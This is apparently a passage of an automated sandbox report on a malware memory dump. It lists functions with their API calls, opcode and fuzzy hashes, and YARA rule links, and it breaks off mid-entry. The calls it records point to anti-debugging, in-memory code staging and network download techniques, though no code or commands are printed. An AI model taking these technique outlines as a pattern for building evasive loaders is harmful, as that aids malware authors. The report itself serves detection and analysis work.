Uniqueness

Uniqueness Score: -1.00%

Function 00560FA8, Relevance: 1.7, APIs: 1, Instructions: 154nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 00561028

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 1159bbb39fa3c55e4afd9b6a50242962fb30a08e8dfedd2452c66f135c8984a5
Instruction ID: ea26ecdaa68fe297f242109455b8559f78ef9d9ef702fe7d81b6af5a93bf910e
Opcode Fuzzy Hash: 1159bbb39fa3c55e4afd9b6a50242962fb30a08e8dfedd2452c66f135c8984a5
Instruction Fuzzy Hash: 0B4198B1604B869BDB201A344DA97E82F927F93374F6C0B25ED62971E2D77584C48606

Uniqueness

Uniqueness Score: -1.00%

Function 0056700E, Relevance: 1.7, APIs: 1, Instructions: 152nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 511b84cf8e75f2a8cc1084bb4d02f1ec9ba4d2de678966ddbee30e33209fc391
Instruction ID: 7e40090e83888602bcc9e431de15f9913dd19dfcbb70cd8d837050ec8859e043
Opcode Fuzzy Hash: 511b84cf8e75f2a8cc1084bb4d02f1ec9ba4d2de678966ddbee30e33209fc391
Instruction Fuzzy Hash: C051486070D7CE9DEB328B3086243A42F91BB0A36CF1C5E8FCD9597192D32485C6C756

Uniqueness

Uniqueness Score: -1.00%

Function 00560FFA, Relevance: 1.6, APIs: 1, Instructions: 141nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 00561028

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 94db6d01842496cf488fdfdd74e343eeaef8b0e0e4a6c46abb97af86e5128c08
Instruction ID: fdad6ed2a797668c300118fea33ff3553c470c86b70a5033596040c5925b73b3
Opcode Fuzzy Hash: 94db6d01842496cf488fdfdd74e343eeaef8b0e0e4a6c46abb97af86e5128c08
Instruction Fuzzy Hash: B841AAB1204B859BDF215A304A993E82F92BF83374F2C0B55EDA2671E2D76984C4C706

Uniqueness

Uniqueness Score: -1.00%

Function 005671BE, Relevance: 1.6, APIs: 1, Instructions: 139nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 7378e1d69f16e54b52752141d72a0462604c7473bb9115eb37108899ec79662c
Instruction ID: f1194eb5170eef520e89a33155fb89851c81bbf607b9c45603c5d27a690b060e
Opcode Fuzzy Hash: 7378e1d69f16e54b52752141d72a0462604c7473bb9115eb37108899ec79662c
Instruction Fuzzy Hash: B0414495A1EBCA6EEB33A73006603513F91BA0735C71D1ECFC9E1AB423D219858AC356

Uniqueness

Uniqueness Score: -1.00%

Function 00566F38, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a1d4d62764a2fa1df70b42fdc4f4adcd8c39336ca11cc21957da0f78eb237e
Instruction ID: 960f7021d282e741a8cedd7ade8f876e9ceaa5fb8ae94addf92960d779955a58
Opcode Fuzzy Hash: 76a1d4d62764a2fa1df70b42fdc4f4adcd8c39336ca11cc21957da0f78eb237e
Instruction Fuzzy Hash: 1841EF2171C70ECEEB254A28C5647A42EA1BB1A378F340F1BCD26C72D4E33488C1AA16

Uniqueness

Uniqueness Score: -1.00%

Function 00567130, Relevance: 1.6, APIs: 1, Instructions: 127nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 68816ffe698c950822c62eb629bec477bdd480cacb365483bedd68d2cc2e0d8f
Instruction ID: 517d4340b2e45fd6da45296f970acf07e9eccd833d4565f46b340be0b612ab58
Opcode Fuzzy Hash: 68816ffe698c950822c62eb629bec477bdd480cacb365483bedd68d2cc2e0d8f
Instruction Fuzzy Hash: 74413760B1D7CE9EEB329A3041503A12F91BB0B36CF5D5E8FC99197152D27489C6C346

Uniqueness

Uniqueness Score: -1.00%

Function 005670B6, Relevance: 1.6, APIs: 1, Instructions: 120nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 9eac310832ecc2105cb2042cb8bc12057e8ca829708efe65ed3f7702237f47ed
Instruction ID: 79adf052008b4990d3e7e0b4987731b117007abb10530b63ac77b3039584d970
Opcode Fuzzy Hash: 9eac310832ecc2105cb2042cb8bc12057e8ca829708efe65ed3f7702237f47ed
Instruction Fuzzy Hash: F141162071D78E9DDB229B2485643A02FA1BB0B36CF685F4FCDA197292D32489C6D706

Uniqueness

Uniqueness Score: -1.00%

Function 00566FEA, Relevance: 1.6, APIs: 1, Instructions: 118nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: f9eceab4575ab14ba896636c0932c13f65100f90691ddd7062eb3496bc082a49
Instruction ID: 3aa18a1926354744919554d52e1b38d9f464a9ab3788fb3c3e2bfb16bdf24db1
Opcode Fuzzy Hash: f9eceab4575ab14ba896636c0932c13f65100f90691ddd7062eb3496bc082a49
Instruction Fuzzy Hash: 3F41F02071D74ECEEB254A24C5643A02FA1BB1A37CF681F0BCD66C7290D334C8C1AB56

Uniqueness

Uniqueness Score: -1.00%

Function 0056351C, Relevance: 1.6, APIs: 1, Instructions: 108memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 2a9f101ed3339de806d506a9e5e55b0cda6181c341b93473043faeadb58af34f
Instruction ID: 2fb5a1ddd44c02f34c21627dc6fcd0460dd1f17a2c69b6d0e26b5e884ae71ace
Opcode Fuzzy Hash: 2a9f101ed3339de806d506a9e5e55b0cda6181c341b93473043faeadb58af34f
Instruction Fuzzy Hash: 1C3167B0A493485FFB305E648C413D93FA2EF073A4F58461DAE8AA7290D3744789CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00567087, Relevance: 1.6, APIs: 1, Instructions: 106nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 6f18018ebde2fbdd6b12faacda88b6710c4bc0b52611dcc5d29bc9f0e7b28d1e
Instruction ID: 084d8dc5e1b6865b85774c000d0f3be32d3bfbdeedbd3ebcfac140c801522a5b
Opcode Fuzzy Hash: 6f18018ebde2fbdd6b12faacda88b6710c4bc0b52611dcc5d29bc9f0e7b28d1e
Instruction Fuzzy Hash: 6031F02071D74ECEEB255B24C5643A02F90BB1A368F685F0BCD66C7291D33489C2E716

Uniqueness

Uniqueness Score: -1.00%

Function 0056350C, Relevance: 1.6, APIs: 1, Instructions: 105memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00565349: LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: 40917cc17636c78f628732dc993f6583663d7995bc1d70c8b6752febb03615a7
Instruction ID: 54f294b60ca4a6b9962346ae8819f23002c994b6c91dfbfc696292963711ba6e
Opcode Fuzzy Hash: 40917cc17636c78f628732dc993f6583663d7995bc1d70c8b6752febb03615a7
Instruction Fuzzy Hash: CE3169B0A453099FFF305E68DC413D93BA2EF073A4F94052DAD8A9B290D3744785DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00563554, Relevance: 1.6, APIs: 1, Instructions: 99memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 31c4bca9e86e5a851724b5cf0a5b98ab061dfe016f16cfc4af9539ab2f130e77
Instruction ID: 870af7159136e7590ab57b34ba9802b640cb5857131fb8f64d0cbc1b15088880
Opcode Fuzzy Hash: 31c4bca9e86e5a851724b5cf0a5b98ab061dfe016f16cfc4af9539ab2f130e77
Instruction Fuzzy Hash: BB318BB1A443445FEB305E748D813DD3FA2EF463A4F58061DEE9AA7291D3704785C745

Uniqueness

Uniqueness Score: -1.00%

Function 005670FB, Relevance: 1.6, APIs: 1, Instructions: 95nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 41af1c7be925f7ee8f910de3a8303bd8e635b6e5c7076449598419473ad13a3e
Instruction ID: e77c3e779f34edbedf86785f7d965cf0c8fc06063b671dbf3e9bccb64c2cb3f5
Opcode Fuzzy Hash: 41af1c7be925f7ee8f910de3a8303bd8e635b6e5c7076449598419473ad13a3e
Instruction Fuzzy Hash: 1831E220B1D74EDEEB215B2485643A02FA1BB0A36CF685F4BCD65CB290D334C9C2E716

Uniqueness

Uniqueness Score: -1.00%

Function 0056714E, Relevance: 1.6, APIs: 1, Instructions: 91nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: b6801d232a00c6c9555ab010ec75462d5c59ee3a7677ce60d2d53e8c09714ebb
Instruction ID: 8e84a4ad849bcefbe7412105cbc6d318b62f38e679b4ae98654cd91281a95269
Opcode Fuzzy Hash: b6801d232a00c6c9555ab010ec75462d5c59ee3a7677ce60d2d53e8c09714ebb
Instruction Fuzzy Hash: 3E312520B1D78E8EEB319A2481643A02F51BB0A36CF695E4FCD91CB251D334C9C6D347

Uniqueness

Uniqueness Score: -1.00%

Function 005635A6, Relevance: 1.6, APIs: 1, Instructions: 87memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: f1f0a6685a269c11fc5022bb4cc84bf4e549d6a78875e75ef95c1230a7daa214
Instruction ID: e0f9aff216fb12236f009361a81f1eed8b3ad74c9e65f616ed6c62a672e25cf9
Opcode Fuzzy Hash: f1f0a6685a269c11fc5022bb4cc84bf4e549d6a78875e75ef95c1230a7daa214
Instruction Fuzzy Hash: 572168B1A093446FEF319E748D853CD3F92AF46364F184A1DEE9AA72A1D3708745C741

Uniqueness

Uniqueness Score: -1.00%

Function 005635E0, Relevance: 1.6, APIs: 1, Instructions: 72memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 6c9fb61fe62eb570b6ccc6664ea6e2f390a5db5cd68d6e1ba4ffce76adf6b853
Instruction ID: cf7730d6cf6bb9c242a2457a4e42dbbdfad57c61a5801ba76338a85d66c16aab
Opcode Fuzzy Hash: 6c9fb61fe62eb570b6ccc6664ea6e2f390a5db5cd68d6e1ba4ffce76adf6b853
Instruction Fuzzy Hash: CA2157B16093845FEB315E648C813DD3F92EF46354F18461DEE49A7291D2708744CB01

Uniqueness

Uniqueness Score: -1.00%

Function 005635D1, Relevance: 1.6, APIs: 1, Instructions: 67memorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00565349: LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateLibraryLoadMemoryVirtual
String ID:
API String ID: 2616484454-0
Opcode ID: 88ae086b7923c39b49ed1dd52828c6fd0d6d16d233c8a1fe3a5e9024d963398e
Instruction ID: e3c9f34eb74ad1a7eb0d9b66812bf295d4aa98d2177cf375b72175a8c2b9194a
Opcode Fuzzy Hash: 88ae086b7923c39b49ed1dd52828c6fd0d6d16d233c8a1fe3a5e9024d963398e
Instruction Fuzzy Hash: F31101B1644208AFEB305E24DC817DD3BA6FF4A364F504628EE5AAB391D37197449B41

Uniqueness

Uniqueness Score: -1.00%

Function 0056720A, Relevance: 1.6, APIs: 1, Instructions: 63nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: ef6b1b38cd15ab09a4a8b65e31000a7e36f1e3ff13fdc890af2ed1d6c0406126
Instruction ID: 70a35d3c872b65cae5776b4082cbb0ad616f77213f6edca0f4a9d8bf7bcf0a24
Opcode Fuzzy Hash: ef6b1b38cd15ab09a4a8b65e31000a7e36f1e3ff13fdc890af2ed1d6c0406126
Instruction Fuzzy Hash: 3D115714B1D78B9EDB26AA2485703E42F21BF1B368B6C1E4BDD91CB650E32088C29316

Uniqueness

Uniqueness Score: -1.00%

Function 00567257, Relevance: 1.6, APIs: 1, Instructions: 58nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 1827acbde66c92227d9dd6887c0baa5a89045778cd3b8fdca08c1b41fb8e7a4a
Instruction ID: 41752b9b9e8ee9e85fbcf81d9b6ffedacf22206a64b3d293e00f6bed7633de56
Opcode Fuzzy Hash: 1827acbde66c92227d9dd6887c0baa5a89045778cd3b8fdca08c1b41fb8e7a4a
Instruction Fuzzy Hash: BC01B11572D78B5DDF256A2885603E51F11BB0B36879C1F4FCE54D7250D31488C3830A

Uniqueness

Uniqueness Score: -1.00%

Function 00563636, Relevance: 1.6, APIs: 1, Instructions: 54memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: 7fbf31e66704d75d347f48d59da0a1631e94ef58e89239c1f118ddc7c76a9da5
Instruction ID: 8bea3df13501d42326cf1c1b00d01ae3ee527814f3f5a8db00d4e5b5d4693e82
Opcode Fuzzy Hash: 7fbf31e66704d75d347f48d59da0a1631e94ef58e89239c1f118ddc7c76a9da5
Instruction Fuzzy Hash: 741108B05093846FEB329B648C407C93FE2FF07354F58465AD989EB162C7358744DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00567277, Relevance: 1.6, APIs: 1, Instructions: 53nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 5aaaabd4a60a45a2fff17dad1af458bbdca387be4ba25f62684fb9c8ddecbb61
Instruction ID: be891d7205139c28edaf398e8e1f41dd3f8f713eb164c8142eabfc3233c847be
Opcode Fuzzy Hash: 5aaaabd4a60a45a2fff17dad1af458bbdca387be4ba25f62684fb9c8ddecbb61
Instruction Fuzzy Hash: 89016814B29B8B4DEF256A2886603E52F11BB07368B9C1F0F8EA4D7650D324C8C2830A

Uniqueness

Uniqueness Score: -1.00%

Function 005672E0, Relevance: 1.5, APIs: 1, Instructions: 38nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL ref: 00567300

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InformationThread
String ID:
API String ID: 4046476035-0
Opcode ID: 57c26a8d299273f177075b83a0215391ef0352537fd5fc633ab0ccbea79702c4
Instruction ID: 8497ba740b2cedf8967c902d7f3cfc1e6c4e3e2e501c8a59fa20ca90dc03c2cf
Opcode Fuzzy Hash: 57c26a8d299273f177075b83a0215391ef0352537fd5fc633ab0ccbea79702c4
Instruction Fuzzy Hash: 9AF0C021B29BC619CF32D5348A903DA2F12BA4236831C6E0FCA74E7540D325C4868356

Uniqueness

Uniqueness Score: -1.00%

Function 00566962, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,B6931BD4,B6931BD8,?,B6931BDC,00566524,00000040,B7994E9A), ref: 0056697D

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 61bafae4e5ddd1835715c3353c669981d22110c84bee201c9875955bb04ca8b1
Instruction ID: 6f1d00ae7d7f09060560c7781b329dfd0c332432591134bfa2892b45d106e732
Opcode Fuzzy Hash: 61bafae4e5ddd1835715c3353c669981d22110c84bee201c9875955bb04ca8b1
Instruction Fuzzy Hash: 9DC012E12240002F68048A28CD58C6BB3AA87D5A29B10C32DB8B2222CCCA30EC088036

Uniqueness

Uniqueness Score: -1.00%

Function 0056396E, Relevance: 4.6, APIs: 3, Instructions: 131networksleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0056350C: NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,005640C7,00564114,005613D2,00000000,00000000,00000000,00000000,00000032,0000033D,?,00563361), ref: 005639A4
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004,?,?,00000004,?,00000000), ref: 00563A6A
Sleep.KERNELBASE(000003E8,?,?,00000004,?,00000000,000000FF,00000007,?,00000004,00000000), ref: 00563C14

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen$AllocateMemorySleepVirtual
String ID:
API String ID: 2174831904-0
Opcode ID: 3f0843bed7339e7d4401f5d45b1971182eede931a7afc2f99bbf30a01b335186
Instruction ID: a454cf85e67a01ddce253783d69df5fc14bd6e82c1ede68160fefd7b462619fe
Opcode Fuzzy Hash: 3f0843bed7339e7d4401f5d45b1971182eede931a7afc2f99bbf30a01b335186
Instruction Fuzzy Hash: 0C41D57034438BDAFF305E64CD55BEE3A55BF10390F548525EE4AAB5C1E7728A40DB11

Uniqueness

Uniqueness Score: -1.00%

Function 0056397A, Relevance: 3.1, APIs: 2, Instructions: 106networkCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,005640C7,00564114,005613D2,00000000,00000000,00000000,00000000,00000032,0000033D,?,00563361), ref: 005639A4
InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004,?,?,00000004,?,00000000), ref: 00563A6A

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 6ac5ceccb457d9409851f0e7164f1e35d7907fe24c9630497aa06bd957bddc43
Instruction ID: 3baccd795ad7155e41471d5d12f443e5e0856ce8efbdc1a11f5e4d7db7bf27fa
Opcode Fuzzy Hash: 6ac5ceccb457d9409851f0e7164f1e35d7907fe24c9630497aa06bd957bddc43
Instruction Fuzzy Hash: 9831F47034438BAEFF305E64CD55BEA3B95AF00390F54452AAE8AAB481E7B18A41DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00560715, Relevance: 2.0, APIs: 1, Instructions: 519COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00560760,?,00000000), ref: 00560743

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: b6897ad4c18987d988633ec7e82a136171af62916630a36b06dc9078f1c668a4
Instruction ID: cf2508f368990553c7d1c0d7df7e06185fe5f2555e6b2e5fa0b17ffce43db934
Opcode Fuzzy Hash: b6897ad4c18987d988633ec7e82a136171af62916630a36b06dc9078f1c668a4
Instruction Fuzzy Hash: 36F1AC74700746AEFF215E208D95BEA3F62BF82784F24462EFE85671C1D7758886CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00563C4A, Relevance: 1.8, APIs: 1, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3426cef8f13e6798f8cb310a6e0888440c978353d55ea786cf4bad5ab4588a5c
Instruction ID: 866af4251272d28cbe8f2ec7afbab22d8354ebab144ad552f8401a3ba0a74413
Opcode Fuzzy Hash: 3426cef8f13e6798f8cb310a6e0888440c978353d55ea786cf4bad5ab4588a5c
Instruction Fuzzy Hash: 9E816974744707CFDF21AF6485657DE3E62BFA5390FA04A2AAC4287345EB70C882CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00566228, Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 786c6f959fc5cea711aa2abf70f0f677172ac898967dd3c560e602c0098e2a97
Instruction ID: 5a17fc5aa367640448e76ebbb6342499e52e5b516f7f108a61e4d1540bcc4460
Opcode Fuzzy Hash: 786c6f959fc5cea711aa2abf70f0f677172ac898967dd3c560e602c0098e2a97
Instruction Fuzzy Hash: 9F518A92B4DBC1AEEF3392B00A943996FA1BB42794F5C1E8FC9C227503F451858AC346

Uniqueness

Uniqueness Score: -1.00%

Function 00565310, Relevance: 1.7, APIs: 1, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6250d74beda06dc75f79dcd1151532659542e6bb6777ecc54c6da927876f5f73
Instruction ID: 7f508f8c5ec0619e7e65acaba88318c25961f7675aac27c2acc0b77bca20ca3e
Opcode Fuzzy Hash: 6250d74beda06dc75f79dcd1151532659542e6bb6777ecc54c6da927876f5f73
Instruction Fuzzy Hash: AF514591A8EFC16EDF23A7B006943596F51BA02BD9F6D5ECFC9C227113F095818AC346

Uniqueness

Uniqueness Score: -1.00%

Function 0056385F, Relevance: 1.6, APIs: 1, Instructions: 100libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0056350C: NtAllocateVirtualMemory.NTDLL(000000FF,?,00000000), ref: 00563663

Part of subcall function 00565349: LoadLibraryA.KERNELBASE(?,55D89CD1,?,00560812,00000000), ref: 005654DD

Part of subcall function 0056396E: InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000,005640C7,00564114,005613D2,00000000,00000000,00000000,00000000,00000032,0000033D,?,00563361), ref: 005639A4
Part of subcall function 0056396E: InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004,?,?,00000004,?,00000000), ref: 00563A6A

LdrInitializeThunk.NTDLL(00000000,00564114,005613D2,00000000,00000000,00000000,00000000,00000032,0000033D,?,00563361,?,?,00000004,?,00000000), ref: 0056416E

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen$AllocateInitializeLibraryLoadMemoryThunkVirtual
String ID:
API String ID: 2185350407-0
Opcode ID: fe4f62cf923ddafc92c588eff4119eba85deaf36738cbe5e62242e26cc0d4c2b
Instruction ID: 4d68d82c3a1b3fe3b3d3cb5fc47899415d13e35e75028c33e7b6c64f3ce492a5
Opcode Fuzzy Hash: fe4f62cf923ddafc92c588eff4119eba85deaf36738cbe5e62242e26cc0d4c2b
Instruction Fuzzy Hash: 8E3128B16097C58BDB229F7489953CA3FA2BF53780F244A4FD8998B246CB348685C752

Uniqueness

Uniqueness Score: -1.00%

Function 005639BB, Relevance: 1.6, APIs: 1, Instructions: 99networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004,?,?,00000004,?,00000000), ref: 00563A6A

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: 4ccb6f2c28110a4498dfff37f5927f23b92ef3a747e14adaf148c196eac68b55
Instruction ID: 47b535a02ed24ab08e6329be381164061cf95bc4eea3f51ec848fbd56aa14d51
Opcode Fuzzy Hash: 4ccb6f2c28110a4498dfff37f5927f23b92ef3a747e14adaf148c196eac68b55
Instruction Fuzzy Hash: DA3121B030438BAEFF315E54CD51BEA3F94BF01390F44452AAE8AAB481E7718A45DB11

Uniqueness

Uniqueness Score: -1.00%

Function 00564174, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3403922eb451cee69755eb7824e5a07e65943d53226c150f52278dcc1a0ebe8
Instruction ID: 4e4f8c5d1bf9bbe1ebb5ce113985f0b79bf1610f6997011a0e70851ab0d8fc69
Opcode Fuzzy Hash: c3403922eb451cee69755eb7824e5a07e65943d53226c150f52278dcc1a0ebe8
Instruction Fuzzy Hash: 0E215B9160D7C659EB33B3B002443A62F42BBE3794B2C4A4F96E527807D954C58FCB82

Uniqueness

Uniqueness Score: -1.00%

Function 00563A07, Relevance: 1.6, APIs: 1, Instructions: 81networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlA.WININET(?,?,00000000,00000000,84000100,00000000,?,?,00000002,?,00000004,?,?,00000004,?,00000000), ref: 00563A6A

Memory Dump Source

Source File: 0000000D.00000002.469283991.0000000000560000.00000040.00000001.sdmp, Offset: 00560000, based on PE: false

Yara matches

Similarity

API ID: InternetOpen
String ID:
API String ID: 2038078732-0
Opcode ID: abf33f7cf3f4278de51cedd96478e737f7a31ecbe607255eb301051c9bac2704
Instruction ID: 1ab0db16cdffb332f4839a33496f6a4f4ef6001bc0dd6ff5c62f7872680b3bd9
